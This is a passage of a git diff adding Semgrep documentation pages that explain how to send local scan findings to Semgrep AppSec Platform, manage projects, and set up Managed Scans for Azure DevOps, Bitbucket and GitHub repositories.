+## Send findings from local repository scan to Semgrep AppSec Platform
+
+
+
+Ensure that you are signed into Semgrep AppSec Platform and you've switched to the org you want to send findings to. It is recommended to send local repository findings to your **personal** org.
+
+
+In your CLI, log in to Semgrep:
+
+```bash
+semgrep login
+```
+
+
+Click the login URL provided, or copy and paste it into your browser's address bar. Your are taken to your web browser to complete the login process.
+
+
+Follow any additional steps.
+
+
+After logging in, start a scan in your CLI:
+
+```bash
+semgrep ci
+```
+
+
+
+## Project separation between local and remote repositories
+
+The project slug for a **remote repository** takes the form `ACCOUNT-NAME/REPOSITORY_NAME.`
+
+The project slug for a **local repository** takes the form `local_scan/REPOSITORY-NAME`.
+
+- **For personal orgs:** A local repository scan does **not** overwrite the findings records of its remote counterpart. They are two separate projects. Personal accounts only have one team member or user: you.
+- **For organization orgs**: A local repository scan does **not** overwrite findings records of its remote counterpart. However, if two members have both cloned the same local repository, such as `RepoA`, and both send local `RepoA` findings, one set of findings may overwrite other unintentionally. This is because orgs can have more than one team member, but all local scans are sent to the same project slug.
+
+## Link local scans to their remote repositories
+
+When sending findings from local repositories to Semgrep AppSec Platform, the links shown on the **Findings** page are not generated. They may be missing, or they may not link to the correct file. This is because the scan was performed on your local repository, not remote.
+
+You can optionally set up cross-linking between local and remote repositories to create the correct hyperlinks. To do so, set up environment variables through the CLI:
+
+
+Navigate to the root of your repository.
+
+
+Create the `SEMGREP_REPO_URL` variable, setting it to the URL you'd use to access your online repository:
+
+```bash
+export SEMGREP_REPO_URL=URL_ADDRESS
+```
+
+
+
+Create the `SEMGREP_BRANCH` variable:
+
+ i. Retrieve the branch name:
+
+ ```bash
+ git rev-parse --abbrev-ref HEAD
+ ```
+ ii. Set the variable as shown, making sure that you replace the `BRANCH_NAME` placeholder:
+
+ ```bash
+ export SEMGREP_BRANCH=BRANCH_NAME
+ ```
+
+
+Create the `SEMGREP_REPO_NAME` variable, setting it to the name of your repository:
+
+```bash
+export SEMGREP_REPO_NAME=REPO_NAME
+```
+
+
+Create the `SEMGREP_COMMIT` variable:
+
+ i. Retrieve the commit hash:
+
+ ```bash
+ git log -n 1
+ ```
+
+ ii. Set the variable by entering the text below, substituting `COMMIT_HASH` with the value from the previous step.
+
+ ```bash
+ export SEMGREP_COMMIT=COMMIT_HASH
+ ```
+
+
+
+After performing these steps, rescan your repository to correctly generate links in Semgrep AppSec Platform.
+
+
+### Sample values
+
+The following is an example of the variables you'd need to create to generate links in Semgrep AppSec Platform, along with sample values:
+
+```
+# Set the repository URL
+export SEMGREP_REPO_URL=https://github.com/corporation/s_juiceshop
+
+# Set the repository name
+export SEMGREP_REPO_NAME=corporation/s_juiceshop
+
+# Retrieve the branch
+git rev-parse --abbrev-ref HEAD
+s_update
+
+# Set the branch
+export SEMGREP_BRANCH=s_update
+
+# Retrieve the commit hash
+git log -n 1
+commit fa4e36b9369e5b039bh2220b5h9R61a38b077f29 (HEAD -> s_juiceshop, origin/main, origin/HEAD, master)
+
+# Set the commit hash
+export SEMGREP_COMMIT=fa4e36b9369e5b039bh2220b5h9R61a38b077f29
+```
\ No newline at end of file
diff --git a/mintlify-docs/deployment/manage-projects.mdx b/mintlify-docs/deployment/manage-projects.mdx
new file mode 100644
index 0000000000..c5660d6b9d
--- /dev/null
+++ b/mintlify-docs/deployment/manage-projects.mdx
@@ -0,0 +1,145 @@
+---
+title: "Manage projects"
+description: "View, sort, and tag your projects through the **Projects** page. Refer to this page to manage and troubleshoot thousands of repositories by identifying scan issues or scans with a high number of findings."
+---
+
+
+**WHAT IS A PROJECT?**
+
+A **project** is a repository, or part of a repository, that you scan through Semgrep AppSec Platform, either using CI or Semgrep Managed Scans. This also includes local CLI scans whose results you have sent for viewing on Semgrep AppSec Platform. A project's scans can be viewed on the **Project details** page, and its findings can be viewed on the individual Semgrep products' **Findings** pages.
+
+
+The **Projects** page features two tabs:
+
+- The **Scanning** tab lists all projects that have been provisioned or scanned by Semgrep, regardless of whether the project is actively being scanned. If the project's repository has been archived in the source code manager, it is listed under **Not scanning**.
+- The **Not scanning** tab lists projects that are associated with [source code manager (SCM) connections that you've added](/deployment/connect-scm), but these projects aren't actively being scanned by Semgrep. The **Not scanning** page also lists projects where you've archived the corresponding GitHub repositories.
+
+
+
+## Sort projects
+
+View all projects by navigating to [Semgrep AppSec Platform](https://semgrep.dev/login) and clicking ** Projects**.
+
+To sort projects, click the attribute you want to sort by on the header row. You can only sort by one attribute.
+
+Sort by the following attributes:
+
+- **Project**: Click to toggle between sorting project names alphabetically in ascending or descending order.
+- **Last scan**: Click to toggle between sorting the projects' latest scans in ascending or descending order. The sorting is based on when the last scan **started**, regardless of its status. For this reason, you may see that scans with statuses such as **Not started** or **Never finished** are not necessarily grouped together.
+
+## Filter a project's scans
+
+
+
+Navigate to the ** Projects** section in [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click the project name of interest for **Project details**.
+
+
+The following filters are available in the first column:
+- **Time period**: 7 days or 1 month
+- **Scan type**: Full or diff-aware scans
+- **Status**: Running, completed, error, or never finished
+- **Products**: Code, Supply Chain, Secrets, or AI
+- **Duration**: The amount of time the scan took to complete in hours or minutes
+
+
+
+
+**NOTE**
+
+Scan details, such as logs, are available for scans run in the past **1 month**. Semgrep AppSec Platform does not display scan details older than 30 days, since this introduces performance issues due to the increased volume of stored scan data.
+
+
+## Run scans in bulk
+
+You can scan multiple projects at once from the **Projects** page. This is useful when you want to rescan multiple projects after changing your ruleset or configuration.
+
+To run scans in bulk, select all the projects of interest and click **Scan**.
+
+## Scan details and logs
+
+To view the latest scan's details from the **Projects** page:
+
+
+
+Hover over the project's latest scan status. This displays the ** Drawer icon**.
+
+
+Click the ** icon** to view the scan details drawer. This drawer displays both an **overview** of the scan and **CI or Managed Scan logs**. Local scans do not have a **Logs** tab.
+
+
+
+### Permalinks to scan details
+
+You can link to a specific scan's details to share with collaborators or for troubleshooting. Click the ** link icon** on the header to copy the permalink.
+
+## Project details page
+
+Each project listed on the **Projects** page has its own **Project detail** page, which you can access by clicking the ** window icon** under the **Details** column. The **Project detail** page is where you can filter scans, configure settings, and view detailed logs for each scan that has been run. Use the **Project detail** page to:
+
+- View trends over time, such as longer or shorter scan durations.
+- Share information when troubleshooting scans through the **Scans** tab.
+- Update a project's tags, primary branch, and path ignores through the **Settings** tab.
+
+Additionally, the Semgrep API allows you to filter tags for use in additional workflows and integrations within your own systems. Create tags based on engineering or department teams, external-facing or internal codebases, and so on. See [Tags](/semgrep-appsec-platform/tags) for more information.
+
+### Configure project settings
+
+You can configure a project's settings by going to the **Project details** page and clicking the **Settings** tab.
+
+See the following pages for more information:
+
+- [Configure Semgrep AppSec Platform to ignore specific file paths](/ignoring-files-folders-code).
+- For Semgrep Managed Scans users: [configure your scans](/deployment/managed-scanning/overview).
+- [Set a primary branch](/deployment/primary-branch).
+- [Set tags](/semgrep-appsec-platform/tags).
+
+## Delete a project
+
+Deleting a project removes all of its findings, metadata, and other records from Semgrep AppSec Platform.
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **windows icon** to access the settings page for that project.
+
+
+Click the **three-dot (...) button** at the header and click **Delete project**.
+
+
+
+To delete an archived project:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Switch to the **Not Scanning** tab of the **Projects** page.
+
+
+Select the checkbox to **Show archived** projects.
+
+
+Search for the archived repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+
+**INFO**
+
+It can take up to a day **(24 hours)** for the [Dashboard](/semgrep-appsec-platform/dashboard) to correctly update and remove findings associated with a recently deleted project.
+
diff --git a/mintlify-docs/deployment/managed-scanning/azure.mdx b/mintlify-docs/deployment/managed-scanning/azure.mdx
new file mode 100644
index 0000000000..db1daf958a
--- /dev/null
+++ b/mintlify-docs/deployment/managed-scanning/azure.mdx
@@ -0,0 +1,382 @@
+---
+title: "Add an Azure DevOps repository to Semgrep Managed Scans"
+sidebarTitle: "Azure DevOps"
+---
+
+Add Azure DevOps repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**.
+
+## Prerequisites and permissions
+
+- Semgrep Managed Scans require repositories hosted by Azure DevOps Services. Azure DevOps Server is not supported.
+- Semgrep recommends setting up and configuring Semgrep Managed Scans with an Azure DevOps service account, not a personal account. Regardless of whether you use a personal or service account, the account must be assigned the **Owner** or **Project Collection Administrator** role for the organization.
+- During setup and configuration, you must provide a personal access token generated by the account. This token must be authorized with **Full access**.
+ - Once you have Managed Scans fully configured, you can add restrictions to the token provided to Semgrep. The scopes you must assign to the token include:
+ - `Code: Read`
+ - `Code: Status`
+ - `Member Entitlement Management: Read`
+ - `Project and Team: Read & write`
+ - `Pull Request Threads: Read & write`
+
+## Enable Managed Scans and scan your first repository
+
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+Select **Azure Devops** as your source code manager.
+
+
+On the **Add to Azure DevOps Pipeline** page, provide the following information:
+ i. Your **Access token**. See [User personal access tokens](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate) for token generation information. Ensure you set the Azure DevOps SCM name to `organization_name/project_name`.
+ ii. The name of your **Azure DevOps Project**.
+
+
+Click **Connect** to proceed.
+
+
+
+You have finished setting up a Semgrep managed scan. Click **Back to Managed Scans** to see your projects.
+
+- After enabling Managed Scans, Semgrep performs a full scan on all the repositories in batches.
+- Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A Semgrep AppSec Platform project includes all the repository's findings, history, and scan metadata.
+- Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
+
+## Add additional Azure DevOps projects
+
+You can enable Semgrep Managed Scans for additional repositories after onboarding using the following steps:
+
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+On the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+ i. Optional: If you don't see the repository you want to add, click **Sync projects**.
+
+
+Select the repositories you want to scan from the list.
+
+
+Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
+
+
+Click **Enable**.
+
+
+
+### If the page doesn't display any repositories
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+If the page doesn't display the repository you want to add, click **Sync projects**.
+
+
+If the page doesn't display any repositories, click **Sync projects**.
+
+
+Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
+
+
+
+### Convert or migrate an existing Semgrep CI job
+
+You can immediately add any existing project to Managed Scans.
+
+
+
+Follow the steps in [Add additional Azure DevOps projects](#add-additional-azure-devops-projects).
+
+
+Delete the existing pipeline configuration file in your repository if appropriate.
+
+
+
+If you plan to continue running some scans in Azure DevOps Pipelines (for example, using Managed Scans to run weekly full scans but Pipelines for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
+
+
+**TIP**
+
+Semgrep preserves your findings, scans, and triage history.
+
+
+## Scan management and configuration
+
+### Manually run a full scan
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **gear icon** to access the settings page for that repository.
+
+
+Click **Run a new scan > Rule-based detection**.
+
+
+
+> You can manually run a full scan for both primary and non-primary branches.
+
+### Re-run a failed scan or a scan that never finished
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click on the project name.
+
+
+Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
+
+
+Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
+
+
+
+### Disable diff-aware scans on PRs
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the toggle for diff-aware scans.
+
+
+
+### Delete a project
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+To delete an archived project:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Switch to the **Not Scanning** tab of the **Projects** page.
+
+
+Select the checkbox to **Show archived** projects.
+
+
+Search for the archived repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+
+### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
+
+By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
+
+
+
+
+
+#### How fail open works
+
+
+
+If enabled, the fail open feature is triggered whenever you open a PR or MR.
+
+
+Initially, Semgrep sends an update to mark the PR or MR as `pending`.
+
+
+Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
+
+
+The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
+
+
+If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
+
+
+
+If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
+
+#### Configure fail open
+
+By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Managed Scans**.
+
+
+Click the **Fail open** toggle to turn off this feature.
+
+
+Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
+
+ 
+
+
+
+
+## Disable webhooks
+
+Managed Scans of Azure DevOps projects require webhooks. The webhooks are enabled by default when you add Azure DevOps as a source code manager when setting up Managed Scans. Webhooks are required for diff-aware scans and triaging by PR or MR comments.
+
+You can turn off webhooks at any time by following these steps:
+
+
+
+In Semgrep AppSec Platform, go to [Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find your Azure DevOps connection, and click the toggle to turn off **Incoming webhooks**.
+
+
+
+## Revoke Semgrep's access to your repositories
+
+The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
+
+
+
+In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
+
+
+Find the Azure DevOps entry on the list of **Source code managers** and click **Remove**.
+
+
+Click **Remove** to confirm.
+
+
+
+## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
+
+
+Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
+
+ 
+
+
+
+## Enable status checks
+
+To protect branches whose repositories are automatically scanned by Semgrep, enable Azure DevOps status checks:
+
+
+
+Sign in to Azure DevOps and navigate to the Azure DevOps project you've connected to Semgrep.
+
+
+Go to **Repos > Branches**.
+
+
+Find the branch to which the status check should be applied, and click the three vertical dots to open up the **More options** dialog.
+
+
+Select **Branch policies**.
+
+
+Ensure that the branch to which you want the status check applied is selected. Navigate to **Status Checks**, and click the **Add +** button to proceed.
+
+ 
+
+
+
+In the dialog that appears:
+ i. Leave the **Status to check** box blank, since this value is auto-populated as you provide values in subsequent steps.
+ ii. Select the **Enter genre/name separately** box. Provide the following values:
+ a. **Genre**: `security`
+ b. **Name**: `semgrep-cloud-platform/scan`
+
+ Once you provide the **Genre** and **Name**, Azure DevOps auto-populates **Status to check**.
+ iii. Choose whether the status check needs to succeed or not to complete pull requests. Selecting **Required** means that a status of `succeeded` is necessary to complete pull requests. Selecting **Optional** means that a status of `failed` will not block the completion of pull requests.
+
+ 
+
+
+
+Click **Save** to proceed.
+
+
+
+At this point, all subsequent pull requests opened against this branch are subject to the status check you created.
+
+
+
+
+
+See [Configure a branch policy for an external service](https://learn.microsoft.com/en-us/azure/devops/repos/git/pr-status-policy?view=azure-devops) for additional information about status checks.
+
+## Troubleshooting: multiple projects
+
+If you currently scan Azure DevOps repositories in your CI pipeline, you may see findings assigned to two separate projects once you enable Semgrep Managed Scans. For example, findings from Managed Scans go to the `semgrep/frontend/webpage` project, while findings from CI scans go to the `frontend/webpage` project. If this is the case, Semgrep AppSec Platform flags these findings with **Possible duplicate**. Please [contact support](/support) for addition assistance.
+
+## Appendices
+
+
+### Scan logs
+
+To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
+
+
+**INFO**
+
+It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
+
+
+### Scan statistics
+
+**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/deployment/managed-scanning/bitbucket.mdx b/mintlify-docs/deployment/managed-scanning/bitbucket.mdx
new file mode 100644
index 0000000000..303b27566a
--- /dev/null
+++ b/mintlify-docs/deployment/managed-scanning/bitbucket.mdx
@@ -0,0 +1,347 @@
+---
+title: "Add a Bitbucket repository to Semgrep Managed Scans"
+sidebarTitle: "Bitbucket"
+description: "Add Bitbucket repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**."
+---
+
+## Prerequisites and permissions
+
+Semgrep Managed Scans require one of the following plans:
+
+- Bitbucket Cloud Premium
+- Bitbucket Data Center (v8.8 or above for diff-aware scans)
+
+### Bitbucket Cloud
+
+You must provide a Bitbucket [workspace access token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/) to Semgrep, which can be created by a user with the `Product Admin` role. Once you have Semgrep Managed Scans fully configured, you can update the token provided to Semgrep to one that's more restrictive. The scopes you must assign to the token include:
+
+- `webhook (read and write)`
+- `repository (read and write)`
+- `pullrequest (read and write)`
+- `project (admin)`
+- `account (read)`
+
+Webhook permissions are required to support diff-aware scans.
+
+### Bitbucket Data Center
+
+You must provide a Bitbucket [HTTP access token](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) to Semgrep, which can be created by a user with the `Project Admin` role. This access token must be created with `PROJECT_ADMIN` permissions.
+
+Project-level webhooks are required to support diff-aware scans.
+
+## Enable Semgrep Managed Scans and scan your first repository
+
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+Click **Manage Connections** and then **+ Connect more**.
+
+
+Select **Bitbucket**.
+
+
+In the **Set up Managed Scans** page that appears, provide the information needed by Semgrep to connect to your Bitbucket project:
+ i. Select **Bitbucket** or **Bitbucket Data Center**.
+ ii. Provide your **Access token**.
+ iii. Provide the name of your **Bitbucket workspace**.
+ iv. *For Bitbucket Data Center users only*: provide the **Bitbucket Data Center URL**.
+ v. Click **Connect**.
+
+
+Repeat the steps above for each additional Bitbucket workspace you'd like added to Semgrep.
+
+
+
+
+You have successfully set up Managed Scans for your workspace or project.
+
+- After enabling Managed Scans, Semgrep performs a full scan in batches on all the repositories in the workspace.
+- Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A project in Semgrep AppSec Platform includes all the findings, history, and scan metadata of that repository.
+- Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
+
+## Add additional Bitbucket projects
+
+You can enable Managed Scans for additional repositories after onboarding using the following steps:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+ i. Optional: If you don't see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
+
+
+Select the repositories you want to scan from the list.
+
+
+Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
+
+
+Click **Enable**.
+
+
+
+### If the page doesn't display any repositories
+
+
+
+Ensure that you've connected your Bitbucket account by following the steps in [Connect a source code manager](/deployment/connect-scm) and confirm the workspace access token is created with the required scopes listed above with the `Product Admin` role.
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+If the page doesn't display the repository you want to add, click **Can't find your project? > Sync projects**.
+
+
+If the page doesn't display any repositories, click **Sync projects**.
+
+
+Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
+
+
+
+### Convert or migrate an existing Semgrep CI job
+
+You can immediately add any existing project to Managed Scans.
+
+
+
+Follow the steps in [Enable Semgrep Managed Scans](#enable-managed-scanning-and-scan-your-first-repository).
+
+
+Delete the `bitbucket-pipelines.yml` file in your Bitbucket repository if appropriate.
+
+
+
+If you plan to continue running some scans in Bitbucket CI/CD Pipelines (for example, using Managed Scans to run weekly full scans but Bitbucket CI/CD Pipelines for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
+
+
+**TIP**
+
+Semgrep preserves your findings, scans, and triage history.
+
+
+## Scan management and configuration
+
+### Manually run a full scan
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **gear icon** to access the settings page for that repository.
+
+
+Click **Run a new scan > Rule-based detection**.
+
+
+
+> You can manually run a full scan for both primary and non-primary branches.
+
+### Re-run a failed scan or a scan that never finished
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click on the project name.
+
+
+Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
+
+
+Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
+
+
+
+### Disable diff-aware scans on PRs
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the toggle for diff-aware scans.
+
+
+
+### Delete a project
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+To delete an archived project:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Switch to the **Not Scanning** tab of the **Projects** page.
+
+
+Select the checkbox to **Show archived** projects.
+
+
+Search for the archived repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+
+### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
+
+By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
+
+
+
+
+
+#### How fail open works
+
+
+
+If enabled, the fail open feature is triggered whenever you open a PR or MR.
+
+
+Initially, Semgrep sends an update to mark the PR or MR as `pending`.
+
+
+Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
+
+
+The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
+
+
+If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
+
+
+
+If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
+
+#### Configure fail open
+
+By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Managed Scans**.
+
+
+Click the **Fail open** toggle to turn off this feature.
+
+
+Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
+
+ 
+
+
+
+
+## Disable webhooks
+
+Performing diff-aware Managed Scans of Bitbucket projects requires webhooks to be enabled. Webhooks are enabled by default when you add Bitbucket as a source code manager when setting up Semgrep Managed Scans. You can disable webhooks at any time by following these steps:
+
+
+
+In Semgrep AppSec Platform, go to [Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find your Bitbucket connection, and click the toggle to disable **Incoming webhooks**.
+
+
+
+This will stop any diff-aware scans of your projects.
+
+## Revoke Semgrep's access to your repositories
+
+The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
+
+
+
+In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
+
+
+On the entry of the SCM you want to remove, click **Remove app**.
+
+
+Click **Remove** to confirm.
+
+
+
+## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
+
+
+Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
+
+ 
+
+
+
+## Appendices
+
+### Scan logs
+
+To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
+
+
+**INFO**
+
+It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
+
+
+### Scan statistics
+
+**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
diff --git a/mintlify-docs/deployment/managed-scanning/github.mdx b/mintlify-docs/deployment/managed-scanning/github.mdx
new file mode 100644
index 0000000000..1b10f928ba
--- /dev/null
+++ b/mintlify-docs/deployment/managed-scanning/github.mdx
@@ -0,0 +1,364 @@
+---
+title: "Add a GitHub repository to Semgrep Managed Scans"
+sidebarTitle: "GitHub"
+description: "Add GitHub repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**. "
+---
+
+
+## Permissions
+
+To add a repository, you must install the public Semgrep GitHub app and create and install a private Semgrep GitHub App.
+
+- The public Semgrep GitHub app is required to easily add members of your GitHub org to your Semgrep org.
+- The private Semgrep GitHub app is required to enable code access for Managed Scans.
+
+If you haven't completed the installation of public and private Semgrep GitHub apps, Semgrep prompts you to do so when adding a repository.
+
+See [Pre-deployment checklist > Permissions](/deployment/checklist#permissions) for more information about the permissions used by Semgrep.
+
+## Add a repository
+
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+If you haven't completed the installation of public and private Semgrep GitHub apps, you are redirected to the **Set up Managed Scans** page, which facilitates the creation of both.
+ i. Follow the steps in the page to create and register both a public and private Semgrep GitHub app.
+
+
+In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+ i. Optional: If you don't see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
+
+
+Select the repositories you want to scan from the list.
+
+
+Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
+
+
+Click **Enable**.
+
+
+If you use the **Semgrep Network Broker**, you must edit your Broker configuration file; refer to [Use Semgrep Network Broker with Managed Scans](/semgrep-ci/network-broker#use-semgrep-network-broker-with-managed-scans).
+
+
+
+
+You have finished setting up a Semgrep managed scan.
+
+- After enabling Managed Scans, Semgrep performs a full scan in batches on all the repositories.
+- Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A project in Semgrep AppSec Platform includes all the findings, history, and scan metadata of that repository.
+- Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
+
+### Troubleshoot your Semgrep GitHub app installation
+
+A complete installation is displayed in the Source Code Manager entry as follows:
+
+
+
+
+_**Figure**. **Semgrep AppSec Platform > Settings > Source Code Managers** displaying a completed Managed Scans set-up._
+
+You can also confirm a complete installation through your GitHub settings page, which should have two Semgrep apps:
+
+
+
+
+_**Figure**. **GitHub > Settings > Applications** displaying both Semgrep apps. The private Semgrep app follows the convention **Semgrep Code - YOUR_ORG_NAME**_.
+
+### If the page doesn't display any repositories
+
+
+
+Ensure you have provided access to **both** the private and public Semgrep GitHub to the repositories you want to scan by following the steps in [Permissions and synchronicity](#permissions-and-synchronicity).
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+If the page doesn't display the repository you want to add, click **Can't find your project? > Sync projects**.
+
+
+If the page doesn't display any repositories, click **Sync projects**.
+
+
+Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
+
+
+
+Repositories must be accessible to both the public Semgrep GitHub app and the private Semgrep GitHub app.
+
+### Convert or migrate an existing Semgrep CI job
+
+You can immediately add any existing project to Managed Scans.
+
+
+
+Follow the steps in [Add a repository](#add-a-repository).
+
+
+Delete the `/.github/workflows/semgrep.yml` file in your GitHub repository if appropriate.
+
+
+
